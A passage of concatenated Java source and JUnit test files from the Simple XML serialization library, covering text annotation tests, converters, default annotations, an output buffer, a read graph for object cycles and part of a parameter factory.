"<text name='a' version='ONE'/>";
@Root(name="test")
private static class TextList {
@ElementArray(name="array", entry="entry")
private TextEntry[] array;
}
@Root(name="text")
private static class TextEntry {
@Attribute(name="name")
private String name;
@Attribute(name="version")
private Version version;
@Text(data=true)
private String text;
}
@Root(name="text")
private static class OptionalTextEntry {
@Attribute(name="name")
private String name;
@Attribute(name="version")
private Version version;
@Text(required=false)
private String text;
}
private static class DuplicateTextEntry extends TextEntry {
@Text
private String duplicate;
}
private static class IllegalElementTextEntry extends TextEntry {
@Element(name="illegal")
private String name;
}
private static class NonPrimitiveTextEntry {
@Attribute(name="name")
private String name;
@Attribute(name="version")
private Version version;
@Text
private List list;
}
private enum Version {
ONE,
TWO,
THREE
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testText() throws Exception {
TextList list = persister.read(TextList.class, TEXT_LIST);
assertEquals(list.array[0].version, Version.ONE);
assertEquals(list.array[0].name, "a");
assertEquals(list.array[0].text, "Example 1");
assertEquals(list.array[1].version, Version.TWO);
assertEquals(list.array[1].name, "b");
assertEquals(list.array[1].text, "Example 2");
assertEquals(list.array[2].version, Version.THREE);
assertEquals(list.array[2].name, "c");
assertEquals(list.array[2].text, "Example 3");
StringWriter buffer = new StringWriter();
persister.write(list, buffer);
validate(list, persister);
list = persister.read(TextList.class, buffer.toString());
assertEquals(list.array[0].version, Version.ONE);
assertEquals(list.array[0].name, "a");
assertEquals(list.array[0].text, "Example 1");
assertEquals(list.array[1].version, Version.TWO);
assertEquals(list.array[1].name, "b");
assertEquals(list.array[1].text, "Example 2");
assertEquals(list.array[2].version, Version.THREE);
assertEquals(list.array[2].name, "c");
assertEquals(list.array[2].text, "Example 3");
validate(list, persister);
}
public void testData() throws Exception {
TextEntry entry = persister.read(TextEntry.class, DATA_TEXT);
assertEquals(entry.version, Version.ONE);
assertEquals(entry.name, "a");
assertTrue(entry.text != null);
StringWriter buffer = new StringWriter();
persister.write(entry, buffer);
validate(entry, persister);
entry = persister.read(TextEntry.class, buffer.toString());
assertEquals(entry.version, Version.ONE);
assertEquals(entry.name, "a");
assertTrue(entry.text != null);
validate(entry, persister);
}
public void testDuplicate() throws Exception {
boolean success = false;
try {
persister.read(DuplicateTextEntry.class, DUPLICATE_TEXT);
} catch(TextException e) {
success = true;
}
assertTrue(success);
}
public void testIllegalElement() throws Exception {
boolean success = false;
try {
persister.read(IllegalElementTextEntry.class, ILLEGAL_ELEMENT);
} catch(TextException e) {
success = true;
}
assertTrue(success);
}
public void testEmpty() throws Exception {
boolean success = false;
try {
persister.read(TextEntry.class, EMPTY_TEXT);
} catch(ValueRequiredException e) {
success = true;
}
assertTrue(success);
}
public void testOptional() throws Exception {
OptionalTextEntry entry = persister.read(OptionalTextEntry.class, EMPTY_TEXT);
assertEquals(entry.version, Version.ONE);
assertEquals(entry.name, "a");
assertTrue(entry.text == null);
StringWriter buffer = new StringWriter();
persister.write(entry, buffer);
validate(entry, persister);
entry = persister.read(OptionalTextEntry.class, buffer.toString());
assertEquals(entry.version, Version.ONE);
assertEquals(entry.name, "a");
assertTrue(entry.text == null);
validate(entry, persister);
}
public void testNonPrimitive() throws Exception {
boolean success = false;
try {
persister.read(NonPrimitiveTextEntry.class, DATA_TEXT);
} catch(TextException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PrimitiveClassTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.ValidationTestCase;
public class PrimitiveClassTest extends ValidationTestCase {
private static class Example {
private Class[] classes;
public Example() {
this.classes = new Class[]{
int.class,
double.class,
float.class,
long.class,
void.class,
byte.class,
short.class,
boolean.class,
char.class
};
}
}
public void testPrimitiveClass() throws Exception {
Example example = new Example();
Persister persister = new Persister();
StringWriter writer = new StringWriter();
persister.write(example, writer);
String text = writer.toString();
System.err.println(text);
assertElementExists(text, "/example");
assertElementExists(text, "/example/classes");
assertElementHasAttribute(text, "/example/classes", "length", "9");
assertElementHasValue(text, "/example/classes/class[1]", "int");
assertElementHasValue(text, "/example/classes/class[2]", "double");
assertElementHasValue(text, "/example/classes/class[3]", "float");
assertElementHasValue(text, "/example/classes/class[4]", "long");
assertElementHasValue(text, "/example/classes/class[5]", "void");
assertElementHasValue(text, "/example/classes/class[6]", "byte");
assertElementHasValue(text, "/example/classes/class[7]", "short");
assertElementHasValue(text, "/example/classes/class[8]", "boolean");
assertElementHasValue(text, "/example/classes/class[9]", "char");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/OutputBuffer.java<|end_filename|>
/*
* OutputBuffer.java June 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
import java.io.IOException;
import java.io.Writer;
/**
* This is primarily used to replace the <code>StringBuffer</code>
* class, as a way for the <code>Formatter</code> to store the start
* tag for an XML element. This enables the start tag of the current
* element to be removed without disrupting any of the other nodes
* within the document. Once the contents of the output buffer have
* been filled its contents can be emitted to the writer object.
*
* @author <NAME>
*/
class OutputBuffer {
/**
* The characters that this buffer has accumulated.
*/
private StringBuilder text;
/**
* Constructor for <code>OutputBuffer</code>. The default
* <code>OutputBuffer</code> stores 16 characters before a
* resize is needed to append extra characters.
*/
public OutputBuffer() {
this.text = new StringBuilder();
}
/**
* This will add a <code>char</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accommodate more characters.
*
* @param ch the character to be appended to the buffer
*/
public void append(char ch){
text.append(ch);
}
/**
* This will add a <code>String</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accommodate large string objects.
*
* @param value the string to be appended to this output buffer
*/
public void append(String value){
text.append(value);
}
/**
* This will add a <code>char</code> array to the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accommodate large character arrays.
*
* @param value the character array to be appended to this
*/
public void append(char[] value){
text.append(value, 0, value.length);
}
/**
* This will add a <code>char</code> array to the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accommodate large character arrays.
*
* @param value the character array to be appended to this
* @param off the read offset for the array to begin reading
* @param len the number of characters to append to this
*/
public void append(char[] value, int off, int len){
text.append(value, off, len);
}
/**
* This will add a <code>String</code> to the end of the buffer.
* The buffer will not overflow with repeated uses of the
* <code>append</code>, it uses an <code>ensureCapacity</code>
* method which will allow the buffer to dynamically grow in
* size to accommodate large string objects.
*
* @param value the string to be appended to the output buffer
* @param off the offset to begin reading from the string
* @param len the number of characters to append to this
*/
public void append(String value, int off, int len){
text.append(value, off, len);
}
/**
* This method is used to write the contents of the buffer to the
* specified <code>Writer</code> object. This is used when the
* XML element is to be committed to the resulting XML document.
*
* @param out this is the writer to write the buffered text to
*
* @throws IOException thrown if there is an I/O problem
*/
public void write(Writer out) throws IOException {
out.append(text);
}
/**
* This will empty the <code>OutputBuffer</code> so that it does
* not contain any content. This is used to that when the buffer
* is written to a specified <code>Writer</code> object nothing
* is written out. This allows XML elements to be removed.
*/
public void clear(){
text.setLength(0);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/WeakCacheTest.java<|end_filename|>
package org.simpleframework.xml.util;
import java.util.HashMap;
import org.simpleframework.xml.util.WeakCache;
import junit.framework.TestCase;
public class WeakCacheTest extends TestCase {
private static final int LOAD_COUNT = 100000;
public void testCache() {
WeakCache cache = new WeakCache();
HashMap map = new HashMap();
for(int i = 0; i < LOAD_COUNT; i++) {
String key = String.valueOf(i);
cache.cache(key, key);
map.put(key, key);
}
for(int i = 0; i < LOAD_COUNT; i++) {
String key = String.valueOf(i);
assertEquals(cache.fetch(key), key);
assertEquals(map.get(key), cache.fetch(key));
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/XPathTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPathExpression;
import javax.xml.xpath.XPathFactory;
import junit.framework.TestCase;
import org.w3c.dom.Document;
import org.w3c.dom.NodeList;
public class XPathTest extends TestCase {
private static final String SOURCE =
"<inventory>\n"+
" <book year='2000'>\n"+
" <title>Snow Crash</title>\n"+
" <author><NAME></author>\n"+
" <publisher>Spectra</publisher>\n"+
" <isbn>0553380958</isbn>\n"+
" <price>14.95</price>\n"+
" </book>\n"+
" <book year='2005'>\n"+
" <title>Burning Tower</title>\n"+
" <author><NAME></author>\n"+
" <author><NAME></author>\n"+
" <publisher>Pocket</publisher>\n"+
" <isbn>0743416910</isbn>\n"+
" <price>5.99</price>\n"+
" </book>\n"+
" <book year='1995'>\n"+
" <title>Zodiac</title>\n"+
" <author><NAME></author>\n"+
" <publisher>Spectra</publisher>\n"+
" <isbn>0553573862</isbn>\n"+
" <price>7.50</price>\n"+
" </book>\n"+
"</inventory>\n";
public void testXPath() throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(true); // never forget this!
DocumentBuilder builder = factory.newDocumentBuilder();
byte[] source = SOURCE.getBytes("UTF-8");
InputStream stream = new ByteArrayInputStream(source);
Document doc = builder.parse(stream);
XPathFactory xpathFactory = XPathFactory.newInstance();
XPath xpath = xpathFactory.newXPath();
XPathExpression expr = xpath.compile("inventory/book[1]/@year");
Object result = expr.evaluate(doc, XPathConstants.NODESET);
NodeList nodes = (NodeList) result;
for (int i = 0; i < nodes.getLength(); i++) {
System.out.println(nodes.item(i).getNodeValue());
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/ScannerBuilderTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import junit.framework.TestCase;
public class ScannerBuilderTest extends TestCase {
@Retention(RetentionPolicy.RUNTIME)
public static @interface One{}
@Retention(RetentionPolicy.RUNTIME)
public static @interface Two{}
@Retention(RetentionPolicy.RUNTIME)
public static @interface Three{}
@Retention(RetentionPolicy.RUNTIME)
public static @interface Four{}
@One
@Two
public class Base {}
@Three
@Four
public class Extended extends Base{}
public void testScannerBuilder() throws Exception {
ScannerBuilder builder = new ScannerBuilder();
Scanner scanner = builder.build(Extended.class);
assertNull(scanner.scan(Convert.class));
assertNotNull(scanner.scan(One.class));
assertNotNull(scanner.scan(Two.class));
assertNotNull(scanner.scan(Three.class));
assertNotNull(scanner.scan(Four.class));
assertEquals(scanner.scan(Convert.class), null);
assertTrue(One.class.isAssignableFrom(scanner.scan(One.class).getClass()));
assertTrue(Two.class.isAssignableFrom(scanner.scan(Two.class).getClass()));
assertTrue(Three.class.isAssignableFrom(scanner.scan(Three.class).getClass()));
assertTrue(Four.class.isAssignableFrom(scanner.scan(Four.class).getClass()));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/convert/AnnotationStrategyTest.java<|end_filename|>
package org.simpleframework.xml.convert;
import java.io.StringWriter;
import java.util.List;
import java.util.Vector;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.ExampleConverters.Chicken;
import org.simpleframework.xml.convert.ExampleConverters.ChickenConverter;
import org.simpleframework.xml.convert.ExampleConverters.Cow;
import org.simpleframework.xml.convert.ExampleConverters.CowConverter;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.Strategy;
public class AnnotationStrategyTest extends ValidationTestCase {
private static final String SOURCE =
"<farmExample>"+
" <chicken name='Hen' age='1' legs='2'/>"+
" <cow name='Bull' age='4' legs='4'/>"+
" <farmer age='80'><NAME></farmer>"+
" <time>1</time>"+
"</farmExample>";
@Root
private static class Farmer {
@Text
@Namespace(prefix="man", reference="http://www.domain/com/man")
private String name;
@Attribute
private int age;
public Farmer() {
super();
}
public Farmer(String name, int age) {
this.name = name;
this.age = age;
}
}
@Root
private static class FarmExample {
@Element
@Namespace(prefix="c", reference="http://www.domain.com/test")
@Convert(ChickenConverter.class)
private Chicken chicken;
@Element
@Convert(CowConverter.class)
private Cow cow;
@Element
private Farmer farmer;
@ElementList(inline=true, entry="time")
@Namespace(prefix="l", reference="http://www.domain.com/list")
private List<Integer> list = new Vector<Integer>();
public FarmExample(@Element(name="chicken") Chicken chicken, @Element(name="cow") Cow cow) {
this.farmer = new Farmer("<NAME>", 80);
this.chicken = chicken;
this.cow = cow;
}
public List<Integer> getTime() {
return list;
}
public Chicken getChicken() {
return chicken;
}
public Cow getCow() {
return cow;
}
}
public void testAnnotationStrategy() throws Exception {
Strategy strategy = new AnnotationStrategy();
Serializer serializer = new Persister(strategy);
StringWriter writer = new StringWriter();
FarmExample example = serializer.read(FarmExample.class, SOURCE);
example.getTime().add(10);
example.getTime().add(11);
example.getTime().add(12);
assertEquals(example.getCow().getName(), "Bull");
assertEquals(example.getCow().getAge(), 4);
assertEquals(example.getCow().getLegs(), 4);
assertEquals(example.getChicken().getName(), "Hen");
assertEquals(example.getChicken().getAge(), 1);
assertEquals(example.getChicken().getLegs(), 2);
serializer.write(example, System.out);
serializer.write(example, writer);
String text = writer.toString();
assertElementExists(text, "/farmExample/chicken");
assertElementExists(text, "/farmExample/cow");
assertElementHasNamespace(text, "/farmExample/chicken", "http://www.domain.com/test");
assertElementDoesNotHaveNamespace(text, "/farmExample/cow", "http://www.domain.com/test");
assertElementHasAttribute(text, "/farmExample/chicken", "name", "Hen");
assertElementHasAttribute(text, "/farmExample/chicken", "age", "1");
assertElementHasAttribute(text, "/farmExample/chicken", "legs", "2");
assertElementHasAttribute(text, "/farmExample/cow", "name", "Bull");
assertElementHasAttribute(text, "/farmExample/cow", "age", "4");
assertElementHasAttribute(text, "/farmExample/cow", "legs", "4");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/DefaultAnnotationTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.DefaultType;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.Transient;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.strategy.Strategy;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.stream.Format;
public class DefaultAnnotationTest extends ValidationTestCase {
private static final String SOURCE =
"<orderList id='100' array='a, b, c, d'>"+
" <value>Some Example Value</value>"+
" <orders>"+
" <orderItem>"+
" <name>IR1234</name>" +
" <value>2</value>"+
" <price>7.4</price>"+
" <customer id='1'>"+
" <name><NAME></name>"+
" <address>Sin City</address>"+
" </customer>"+
" </orderItem>"+
" <orderItem>"+
" <name>TZ346</name>" +
" <value>2</value>"+
" <price>10.4</price>"+
" <customer id='2'>"+
" <name><NAME></name>"+
" <address>Sesame Street</address>"+
" </customer>"+
" </orderItem>"+
" </orders>"+
"</orderList>";
private static final String ORDER =
"<orderItem>"+
" <name>IR1234</name>" +
" <value>2</value>"+
" <price>7.4</price>"+
" <customer id='1'>"+
" <name><NAME></name>"+
" <address>Sin City</address>"+
" </customer>"+
"</orderItem>";
private static final String MISMATCH =
"<typeMisMatch/>";
@Root
@Default(DefaultType.PROPERTY)
private static class OrderList {
private List<OrderItem> list;
private String[] array;
private String secret;
private @Attribute int id;
private @Element String value;
@Transient
public String getSecret() {
return secret;
}
@Transient
public void setSecret(String secret) {
this.secret = secret;
}
@Attribute
public String[] getArray() {
return array;
}
@Attribute
public void setArray(String[] array){
this.array = array;
}
public List<OrderItem> getOrders() {
return list;
}
public void setOrders(List<OrderItem> list) {
this.list = list;
}
}
@Root
@Default(DefaultType.FIELD)
private static class OrderItem {
private static final String IGNORE = "ignore";
private Customer customer;
private String name;
private int value;
private double price;
private @Transient String hidden;
private @Transient String secret;
}
@Root
@Default(DefaultType.FIELD)
private static class Customer {
private @Attribute int id;
private String name;
private String address;
public Customer(@Element(name="name") String name) {
this.name = name;
}
}
@Root
@Default(DefaultType.PROPERTY)
private static class TypeMisMatch {
public String name;
public String getName() {
return name;
}
@Attribute
public void setName(String name) {
this.name = name;
}
}
/*
public void testTypeMisMatch() throws Exception {
Persister persister = new Persister();
boolean failure = false;
try {
TypeMisMatch type = persister.read(TypeMisMatch.class, SOURCE);
assertNull(type);
}catch(Exception e){
e.printStackTrace();
failure = true;
}
assertTrue(failure);
}
public void testIgnoreStatic() throws Exception {
Serializer serializer = new Persister();
OrderItem order = serializer.read(OrderItem.class, ORDER);
StringWriter writer = new StringWriter();
serializer.write(order, writer);
assertElementDoesNotExist(writer.toString(), "orderItem/IGNORE");
System.out.println(writer.toString());
}*/
public void testDefault() throws Exception {
MethodScanner methodScanner = new MethodScanner(new DetailScanner(OrderList.class), new Support());
Map<String, Contact> map = new HashMap<String, Contact>();
for(Contact contact : methodScanner) {
map.put(contact.getName(), contact);
}
assertEquals(map.get("orders").getClass(), MethodContact.class);
assertEquals(map.get("orders").getType(), List.class);
assertEquals(map.get("orders").getAnnotation().annotationType(), ElementList.class);
Scanner scanner = new ObjectScanner(new DetailScanner(OrderList.class), new Support());
LabelMap attributes = scanner.getSection().getAttributes();
LabelMap elements = scanner.getSection().getElements();
assertEquals(elements.get("orders").getType(), List.class);
assertEquals(elements.get("orders").getContact().getAnnotation().annotationType(), ElementList.class);
assertEquals(attributes.get("array").getType(), String[].class);
assertEquals(attributes.get("array").getContact().getAnnotation().annotationType(), Attribute.class);
Persister persister = new Persister();
OrderList list = persister.read(OrderList.class, SOURCE);
assertEquals(list.getArray()[0], "a");
assertEquals(list.getArray()[1], "b");
assertEquals(list.getArray()[2], "c");
assertEquals(list.getArray()[3], "d");
assertEquals(list.id, 100);
assertEquals(list.value, "Some Example Value");
assertEquals(list.getOrders().get(0).name, "IR1234");
assertEquals(list.getOrders().get(0).hidden, null);
assertEquals(list.getOrders().get(0).secret, null);
assertEquals(list.getOrders().get(0).value, 2);
assertEquals(list.getOrders().get(0).price, 7.4);
assertEquals(list.getOrders().get(0).customer.id, 1);
assertEquals(list.getOrders().get(0).customer.name, "<NAME>");
assertEquals(list.getOrders().get(0).customer.address, "Sin City");
assertEquals(list.getOrders().get(1).name, "TZ346");
assertEquals(list.getOrders().get(0).hidden, null);
assertEquals(list.getOrders().get(0).secret, null);
assertEquals(list.getOrders().get(1).value, 2);
assertEquals(list.getOrders().get(1).price, 10.4);
assertEquals(list.getOrders().get(1).customer.id, 2);
assertEquals(list.getOrders().get(1).customer.name, "<NAME>");
assertEquals(list.getOrders().get(1).customer.address, "Sesame Street");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/ConverterMapTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import org.simpleframework.xml.Default;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.convert.AnnotationStrategy;
import org.simpleframework.xml.convert.Convert;
import org.simpleframework.xml.convert.Converter;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
public class ConverterMapTest extends ValidationTestCase {
private static class MapConverter implements Converter<java.util.Map> {
public Map read(InputNode node) throws Exception{
java.util.Map map = new HashMap();
while(true) {
InputNode next = node.getNext("entry");
if(next == null) {
break;
}
Entry entry = readEntry(next);
map.put(entry.name, entry.value);
}
return map;
}
public void write(OutputNode node, Map map) throws Exception {
Set keys = map.keySet();
for(Object key : keys) {
OutputNode next = node.getChild("entry");
next.setAttribute("key", key.toString());
OutputNode value = next.getChild("value");
value.setValue(map.get(key).toString());
}
}
private Entry readEntry(InputNode node) throws Exception {
InputNode key = node.getAttribute("key");
InputNode value = node.getNext("value");
return new Entry(key.getValue(), value.getValue());
}
private static class Entry {
private String name;
private String value;
public Entry(String name, String value){
this.name = name;
this.value = value;
}
}
}
@Root
@Default
private static class MapHolder {
@Element
@ElementMap
@Convert(MapConverter.class)
private Map<String, String> map = new HashMap<String, String>();
public void put(String name, String value){
map.put(name, value);
}
}
public void testMap() throws Exception {
Strategy strategy = new AnnotationStrategy();
Serializer serializer = new Persister(strategy);
MapHolder holder = new MapHolder();
holder.put("a", "A");
holder.put("b", "B");
holder.put("c", "C");
holder.put("d", "D");
holder.put("e", "E");
holder.put("f", "F");
serializer.write(holder, System.out);
validate(holder, serializer);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/ReadGraph.java<|end_filename|>
/*
* ReadGraph.java April 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import org.simpleframework.xml.stream.NodeMap;
import org.simpleframework.xml.stream.Node;
import java.util.HashMap;
/**
* The <code>ReadGraph</code> object is used to build a graph of the
* objects that have been deserialized from the XML document. This is
* required so that cycles in the object graph can be recreated such
* that the deserialized object is an exact duplicate of the object
* that was serialized. Objects are stored in the graph using unique
* keys, which for this implementation are unique strings.
*
* @author <NAME>
*
* @see org.simpleframework.xml.strategy.WriteGraph
*/
class ReadGraph extends HashMap {
/**
* This is the class loader that is used to load the types used.
*/
private final Loader loader;
/**
* This is used to represent the length of array object values.
*/
private final String length;
/**
* This is the label used to mark the type of an object.
*/
private final String label;
/**
* This is the attribute used to mark the identity of an object.
*/
private final String mark;
/**
* This is the attribute used to refer to an existing instance.
*/
private final String refer;
/**
* Constructor for the <code>ReadGraph</code> object. This is used
* to create graphs that are used for reading objects from the XML
* document. The specified strategy is used to acquire the names
* of the special attributes used during the serialization.
*
* @param contract this is the name scheme used by the strategy
* @param loader this is the class loader to used for the graph
*/
public ReadGraph(Contract contract, Loader loader) {
this.refer = contract.getReference();
this.mark = contract.getIdentity();
this.length = contract.getLength();
this.label = contract.getLabel();
this.loader = loader;
}
/**
* This is used to recover the object references from the document
* using the special attributes specified. This allows the element
* specified by the <code>NodeMap</code> to be used to discover
* exactly which node in the object graph the element represents.
*
* @param type the type of the field or method in the instance
* @param node this is the XML element to be deserialized
*
* @return this is used to return the type to acquire the value
*/
public Value read(Type type, NodeMap node) throws Exception {
Node entry = node.remove(label);
Class expect = type.getType();
if(expect.isArray()) {
expect = expect.getComponentType();
}
if(entry != null) {
String name = entry.getValue();
expect = loader.load(name);
}
return readInstance(type, expect, node);
}
/**
* This is used to recover the object references from the document
* using the special attributes specified. This allows the element
* specified by the <code>NodeMap</code> to be used to discover
* exactly which node in the object graph the element represents.
*
* @param type the type of the field or method in the instance
* @param real this is the overridden type from the XML element
* @param node this is the XML element to be deserialized
*
* @return this is used to return the type to acquire the value
*/
private Value readInstance(Type type, Class real, NodeMap node) throws Exception {
Node entry = node.remove(mark);
if(entry == null) {
return readReference(type, real, node);
}
String key = entry.getValue();
if(containsKey(key)) {
throw new CycleException("Element '%s' already exists", key);
}
return readValue(type, real, node, key);
}
/**
* This is used to recover the object references from the document
* using the special attributes specified. This allows the element
* specified by the <code>NodeMap</code> to be used to discover
* exactly which node in the object graph the element represents.
*
* @param type the type of the field or method in the instance
* @param real this is the overridden type from the XML element
* @param node this is the XML element to be deserialized
*
* @return this is used to return the type to acquire the value
*/
private Value readReference(Type type, Class real, NodeMap node) throws Exception {
Node entry = node.remove(refer);
if(entry == null) {
return readValue(type, real, node);
}
String key = entry.getValue();
Object value = get(key);
if(!containsKey(key)) {
throw new CycleException("Invalid reference '%s' found", key);
}
return new Reference(value, real);
}
/**
* This is used to acquire the <code>Value</code> which can be used
* to represent the deserialized value. The type create cab be
* added to the graph of created instances if the XML element has
* an identification attribute, this allows cycles to be completed.
*
* @param type the type of the field or method in the instance
* @param real this is the overridden type from the XML element
* @param node this is the XML element to be deserialized
*
* @return this is used to return the type to acquire the value
*/
private Value readValue(Type type, Class real, NodeMap node) throws Exception {
Class expect = type.getType();
if(expect.isArray()) {
return readArray(type, real, node);
}
return new ObjectValue(real);
}
/**
* This is used to acquire the <code>Value</code> which can be used
* to represent the deserialized value. The type create cab be
* added to the graph of created instances if the XML element has
* an identification attribute, this allows cycles to be completed.
*
* @param type the type of the field or method in the instance
* @param real this is the overridden type from the XML element
* @param node this is the XML element to be deserialized
* @param key the key the instance is known as in the graph
*
* @return this is used to return the type to acquire the value
*/
private Value readValue(Type type, Class real, NodeMap node, String key) throws Exception {
Value value = readValue(type, real, node);
if(key != null) {
return new Allocate(value, this, key);
}
return value;
}
/**
* This is used to acquire the <code>Value</code> which can be used
* to represent the deserialized value. The type create cab be
* added to the graph of created instances if the XML element has
* an identification attribute, this allows cycles to be completed.
*
* @param type the type of the field or method in the instance
* @param real this is the overridden type from the XML element
* @param node this is the XML element to be deserialized
*
* @return this is used to return the type to acquire the value
*/
private Value readArray(Type type, Class real, NodeMap node) throws Exception {
Node entry = node.remove(length);
int size = 0;
if(entry != null) {
String value = entry.getValue();
size = Integer.parseInt(value);
}
return new ArrayValue(real, size);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ParameterFactory.java<|end_filename|>
/*
* ParameterFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementListUnion;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.ElementMapUnion;
import org.simpleframework.xml.ElementUnion;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.stream.Format;
/**
* The <code>ParameterFactory</code> object is used to create instances
* of the <code>Parameter</code> object. Each parameter created can be
* used to validate against the annotated fields and methods to ensure
* that the annotations are compatible.
* <p>
* The <code>Parameter</code> objects created by this are selected
* using the XML annotation type. If the annotation type is not known
* the factory will throw an exception, otherwise a parameter instance
* is created that will expose the properties of the annotation.
*
* @author <NAME>
*/
class ParameterFactory {
/**
* This format contains the style which is used to create names.
*/
private final Format format;
/**
* Constructor for the <code>ParameterFactory</code> object. This
* factory is used for creating parameters within a constructor.
* Parameters can be annotated in the same way as methods or
* fields, this object is used to create such parameters.
*
* @param support this contains various support functions
*/
public ParameterFactory(Support support) {
this.format = support.getFormat();
}
/**
* Creates a <code>Parameter</code> using the provided constructor
* and the XML annotation. The parameter produced contains all
* information related to the constructor parameter. It knows the
* name of the XML entity, as well as the type.
*
* @param factory this is the constructor the parameter exists in
* @param label represents the XML annotation for the contact
* @param index the index of the parameter in the constructor
*
* @return returns the parameter instantiated for the field
*/
public Parameter getInstance(Constructor factory, Annotation label, int index) throws Exception {
return getInstance(factory, label, null, index);
}
/**
* Creates a <code>Parameter</code> using the provided constructor
* and the XML annotation. The parameter produced contains all
* information related to the constructor parameter. It knows the
* name of the XML entity, as well as the type.
*
* @param factory this is the constructor the parameter exists in
* @param label represents the XML annotation for the contact
* @param entry this is the entry annotation for the parameter
* @param index the index of the parameter in the constructor
*
* @return returns the parameter instantiated for the field
*/
public Parameter getInstance(Constructor factory, Annotation label, Annotation entry, int index) throws Exception {
Constructor builder = getConstructor(label);
if(entry != null) {
return (Parameter)builder.newInstance(factory, label, entry, format, index);
}
return (Parameter)builder.newInstance(factory, label, format, index);
}
/**
* Creates a constructor that is used to instantiate the parameter
* used to represent the specified annotation. The constructor
* created by this method takes three arguments, a constructor,
* an annotation, and the parameter index.
*
* @param label the XML annotation representing the label
*
* @return returns a constructor for instantiating the parameter
*
* @throws Exception thrown if the annotation is not supported
*/
private Constructor getConstructor(Annotation label) throws Exception {
ParameterBuilder builder = getBuilder(label);
Constructor factory = builder.getConstructor();
if(!factory.isAccessible()) {
factory.setAccessible(true);
}
return factory;
}
/**
* Creates an entry that is used to select the constructor for the
* parameter. Each parameter must implement a constructor that takes
* a constructor, and annotation, and the index of the parameter. If
